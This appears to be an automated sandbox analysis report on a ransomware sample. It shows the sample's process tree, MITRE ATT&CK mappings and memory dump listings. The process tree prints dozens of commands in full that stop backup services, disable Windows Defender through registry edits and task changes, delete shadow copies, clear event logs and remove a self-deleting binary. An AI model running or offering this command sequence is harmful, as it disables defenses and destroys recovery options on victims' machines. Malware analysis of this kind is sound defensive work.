Token: SeDebugPrivilege	3048	wmic.exe
Token: SeSystemEnvironmentPrivilege	3048	wmic.exe
Token: SeRemoteShutdownPrivilege	3048	wmic.exe
Token: SeUndockPrivilege	3048	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 1808	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	69
PID 2440 wrote to memory of 1808	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	69
PID 2440 wrote to memory of 1808	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	69
PID 1808 wrote to memory of 3924	1808	net.exe	71
PID 1808 wrote to memory of 3924	1808	net.exe	71
PID 1808 wrote to memory of 3924	1808	net.exe	71
PID 2440 wrote to memory of 1160	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	72
PID 2440 wrote to memory of 1160	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	72
PID 2440 wrote to memory of 1160	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	72
PID 1160 wrote to memory of 864	1160	net.exe	74
PID 1160 wrote to memory of 864	1160	net.exe	74
PID 1160 wrote to memory of 864	1160	net.exe	74
PID 2440 wrote to memory of 412	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	75
PID 2440 wrote to memory of 412	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	75
PID 2440 wrote to memory of 412	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	75
PID 412 wrote to memory of 2496	412	net.exe	77
PID 412 wrote to memory of 2496	412	net.exe	77
PID 412 wrote to memory of 2496	412	net.exe	77
PID 2440 wrote to memory of 2868	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	78
PID 2440 wrote to memory of 2868	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	78
PID 2440 wrote to memory of 2868	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	78
PID 2868 wrote to memory of 3828	2868	net.exe	80
PID 2868 wrote to memory of 3828	2868	net.exe	80
PID 2868 wrote to memory of 3828	2868	net.exe	80
PID 2440 wrote to memory of 3424	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	81
PID 2440 wrote to memory of 3424	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	81
PID 2440 wrote to memory of 3424	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	81
PID 3424 wrote to memory of 1016	3424	net.exe	83
PID 3424 wrote to memory of 1016	3424	net.exe	83
PID 3424 wrote to memory of 1016	3424	net.exe	83
PID 2440 wrote to memory of 3648	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	84
PID 2440 wrote to memory of 3648	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	84
PID 2440 wrote to memory of 3648	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	84
PID 3648 wrote to memory of 584	3648	net.exe	86
PID 3648 wrote to memory of 584	3648	net.exe	86
PID 3648 wrote to memory of 584	3648	net.exe	86
PID 2440 wrote to memory of 2812	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	87
PID 2440 wrote to memory of 2812	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	87
PID 2440 wrote to memory of 2812	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	87
PID 2812 wrote to memory of 1612	2812	net.exe	89
PID 2812 wrote to memory of 1612	2812	net.exe	89
PID 2812 wrote to memory of 1612	2812	net.exe	89
PID 2440 wrote to memory of 1452	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	90
PID 2440 wrote to memory of 1452	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	90
PID 2440 wrote to memory of 1452	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	90
PID 1452 wrote to memory of 2788	1452	net.exe	92
PID 1452 wrote to memory of 2788	1452	net.exe	92
PID 1452 wrote to memory of 2788	1452	net.exe	92
PID 2440 wrote to memory of 600	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	93
PID 2440 wrote to memory of 600	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	93
PID 2440 wrote to memory of 600	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	93
PID 600 wrote to memory of 1212	600	net.exe	95
PID 600 wrote to memory of 1212	600	net.exe	95
PID 600 wrote to memory of 1212	600	net.exe	95
PID 2440 wrote to memory of 2660	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	96
PID 2440 wrote to memory of 2660	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	96
PID 2440 wrote to memory of 2660	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	96
PID 2440 wrote to memory of 3796	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	98
PID 2440 wrote to memory of 3796	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	98
PID 2440 wrote to memory of 3796	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	98
PID 2440 wrote to memory of 988	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	100
PID 2440 wrote to memory of 988	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	100
PID 2440 wrote to memory of 988	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	100
PID 2440 wrote to memory of 1280	2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe	102

C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
"C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe"
1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:3924
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:864
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:2496
- C:\Windows\SysWOW64\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:3828
- C:\Windows\SysWOW64\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3424
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "vmicvss" /y
    3⤵
    PID:1016
- C:\Windows\SysWOW64\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:584
- C:\Windows\SysWOW64\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:1612
- C:\Windows\SysWOW64\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:2788
- C:\Windows\SysWOW64\net.exe
  net.exe stop "UnistoreSvc_132f0" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_132f0" /y
    3⤵
    PID:1212
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  PID:2660
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  PID:3796
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  PID:988
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  PID:1280
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  PID:1248
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  PID:1524
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  PID:384
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  PID:3032
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "UnistoreSvc_132f0" start= disabled
  2⤵
  PID:2300
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3316
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:3500
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:2960
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:1236
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:2700
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:3232
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:2288
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:1696
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:3928
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  PID:348
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:692
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:640
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:420
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:1648
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:3284
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:1016
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:2804
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:3944
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:2600
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:1108
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:588
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:4008
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:920
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:1624
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:1532
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:1796
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  - Modifies registry class
  PID:2172
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:4016
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2900
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1428
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2092
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:1856
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3216
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2196
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3924
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:916
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3048
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:1468
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:2788
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:1284
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3264
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:3960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1652
- C:\Windows\SysWOW64\notepad.exe
  notepad.exe C:\rtZ9_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2256
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe"
  2⤵
  PID:4040
- - C:\Windows\SysWOW64\PING.EXE
    ping.exe -n 5 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Impair Defenses

T1562

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1652-468-0x00000000095B0000-0x0000000009644000-memory.dmp

Filesize
592KB

Download
memory/1652-667-0x0000000009510000-0x000000000952A000-memory.dmp

Filesize
104KB

Download
memory/1652-459-0x0000000007EA0000-0x0000000007EEB000-memory.dmp

Filesize
300KB

Download
memory/1652-433-0x00000000045E0000-0x0000000004616000-memory.dmp

Filesize
216KB

Download
memory/1652-434-0x00000000072B0000-0x00000000078D8000-memory.dmp

Filesize
6.2MB

Download
memory/1652-458-0x00000000071C0000-0x0000000007226000-memory.dmp

Filesize
408KB

Download
memory/1652-460-0x0000000008230000-0x00000000082A6000-memory.dmp

Filesize
472KB

Download
memory/1652-461-0x0000000009010000-0x000000000902E000-memory.dmp

Filesize
120KB

Download
memory/1652-466-0x0000000009260000-0x0000000009305000-memory.dmp

Filesize
660KB

Download
memory/1652-435-0x0000000006F50000-0x0000000006F72000-memory.dmp

Filesize
136KB

Download
memory/1652-467-0x000000007F0B0000-0x000000007F0B1000-memory.dmp

Filesize
4KB

Download
memory/1652-456-0x0000000006F50000-0x0000000006F72000-memory.dmp

Filesize
136KB

Download
memory/1652-436-0x0000000007150000-0x00000000071B6000-memory.dmp

Filesize
408KB

Download
memory/1652-437-0x00000000071C0000-0x0000000007226000-memory.dmp

Filesize
408KB

Download
memory/1652-457-0x0000000007150000-0x00000000071B6000-memory.dmp

Filesize
408KB

Download
memory/1652-439-0x0000000006C70000-0x0000000006C71000-memory.dmp

Filesize
4KB

Download
memory/1652-440-0x0000000006C72000-0x0000000006C73000-memory.dmp

Filesize
4KB

Download
memory/1652-438-0x00000000078E0000-0x0000000007C30000-memory.dmp

Filesize
3.3MB

Download
memory/1652-455-0x0000000009030000-0x0000000009063000-memory.dmp

Filesize
204KB

Download
memory/1652-537-0x0000000006C73000-0x0000000006C74000-memory.dmp

Filesize
4KB

Download
memory/1652-662-0x0000000009510000-0x000000000952A000-memory.dmp

Filesize
104KB

Download
memory/1652-673-0x0000000009150000-0x0000000009158000-memory.dmp

Filesize
32KB

Download
memory/1652-442-0x0000000007E70000-0x0000000007E8C000-memory.dmp

Filesize
112KB

Download
memory/1652-443-0x0000000007EA0000-0x0000000007EEB000-memory.dmp

Filesize
300KB

Download
memory/1652-454-0x0000000009030000-0x0000000009063000-memory.dmp

Filesize
204KB

Download
memory/1652-453-0x00000000072B0000-0x00000000078D8000-memory.dmp

Filesize
6.2MB

Download
memory/1652-668-0x0000000009150000-0x0000000009158000-memory.dmp

Filesize
32KB

Download
memory/1652-444-0x0000000008230000-0x00000000082A6000-memory.dmp

Filesize
472KB

Download
memory/3264-185-0x00000000072A0000-0x00000000072C2000-memory.dmp

Filesize
136KB

Download
memory/3264-183-0x0000000003172000-0x0000000003173000-memory.dmp

Filesize
4KB

Download
memory/3264-205-0x00000000073B0000-0x0000000007416000-memory.dmp

Filesize
408KB

Download
memory/3264-206-0x0000000008270000-0x00000000082BB000-memory.dmp

Filesize
300KB

Download
memory/3264-208-0x000000007F260000-0x000000007F261000-memory.dmp

Filesize
4KB

Download
memory/3264-207-0x00000000085A0000-0x0000000008616000-memory.dmp

Filesize
472KB

Download
memory/3264-209-0x00000000093E0000-0x00000000093FE000-memory.dmp

Filesize
120KB

Download
memory/3264-214-0x0000000009750000-0x00000000097F5000-memory.dmp

Filesize
660KB

Download
memory/3264-215-0x0000000009980000-0x0000000009A14000-memory.dmp

Filesize
592KB

Download
memory/3264-250-0x0000000003173000-0x0000000003174000-memory.dmp

Filesize
4KB

Download
memory/3264-409-0x00000000098E0000-0x00000000098FA000-memory.dmp

Filesize
104KB

Download
memory/3264-414-0x00000000098E0000-0x00000000098FA000-memory.dmp

Filesize
104KB

Download
memory/3264-415-0x00000000098C0000-0x00000000098C8000-memory.dmp

Filesize
32KB

Download
memory/3264-420-0x00000000098C0000-0x00000000098C8000-memory.dmp

Filesize
32KB

Download
memory/3264-189-0x0000000008030000-0x000000000804C000-memory.dmp

Filesize
112KB

Download
memory/3264-188-0x0000000007420000-0x0000000007770000-memory.dmp

Filesize
3.3MB

Download
memory/3264-187-0x00000000073B0000-0x0000000007416000-memory.dmp

Filesize
408KB

Download
memory/3264-186-0x0000000007340000-0x00000000073A6000-memory.dmp

Filesize
408KB

Download
memory/3264-190-0x0000000008270000-0x00000000082BB000-memory.dmp

Filesize
300KB

Download
memory/3264-184-0x00000000078A0000-0x0000000007EC8000-memory.dmp

Filesize
6.2MB

Download
memory/3264-182-0x0000000003170000-0x0000000003171000-memory.dmp

Filesize
4KB

Download
memory/3264-204-0x0000000007340000-0x00000000073A6000-memory.dmp

Filesize
408KB

Download
memory/3264-181-0x00000000032B0000-0x00000000032E6000-memory.dmp

Filesize
216KB

Download
memory/3264-179-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

Filesize
4KB

Download
memory/3264-180-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

Filesize
4KB

Download
memory/3264-191-0x00000000085A0000-0x0000000008616000-memory.dmp

Filesize
472KB

Download
memory/3264-203-0x00000000072A0000-0x00000000072C2000-memory.dmp

Filesize
136KB

Download
memory/3264-202-0x0000000009620000-0x0000000009653000-memory.dmp

Filesize
204KB

Download
memory/3264-192-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

Filesize
4KB

Download
memory/3264-200-0x00000000078A0000-0x0000000007EC8000-memory.dmp

Filesize
6.2MB

Download
memory/3264-201-0x0000000009620000-0x0000000009653000-memory.dmp

Filesize
204KB

Download